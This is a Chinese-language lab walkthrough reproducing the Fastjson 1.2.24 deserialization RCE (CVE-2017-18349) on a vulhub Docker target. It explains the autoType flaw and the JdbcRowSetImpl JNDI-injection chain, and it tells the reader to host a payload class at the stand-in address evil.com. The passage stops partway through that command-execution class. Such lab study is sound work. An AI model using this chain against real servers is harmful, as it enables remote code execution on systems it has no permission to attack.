1.2.24-rce(CVE-2017-18349-Fastjson反序列化)
对于 Fastjson 来说,该漏洞的主要问题在于其1.2.24版本中autotype特性允许任意类的反序列化,因此攻击者通过@type指定自定义类并实例化,在特定条件下调用这些类的公共方法。如果一个不受信任的 JSON 输入包含了一个指向恶意类的引用,那么当 Fastjson 尝试将其反序列化时,就可能会触发该类的方法,进而导致任意代码执行。
启动靶场漏洞环境
docker-compose up -d
查看靶机IP地址
ifconfig | grep eth0 -A 5
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
RX packets 12672 bytes 16229000 (15.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
阅读vulhub给出的漏洞文档
# fastjson 1.2.24 反序列化导致任意命令执行漏洞
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
参考资料:
- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/## 漏洞环境
运行测试环境:
```
docker compose up -d
```环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```## 漏洞复现
因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。
首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {
static {
try {
&n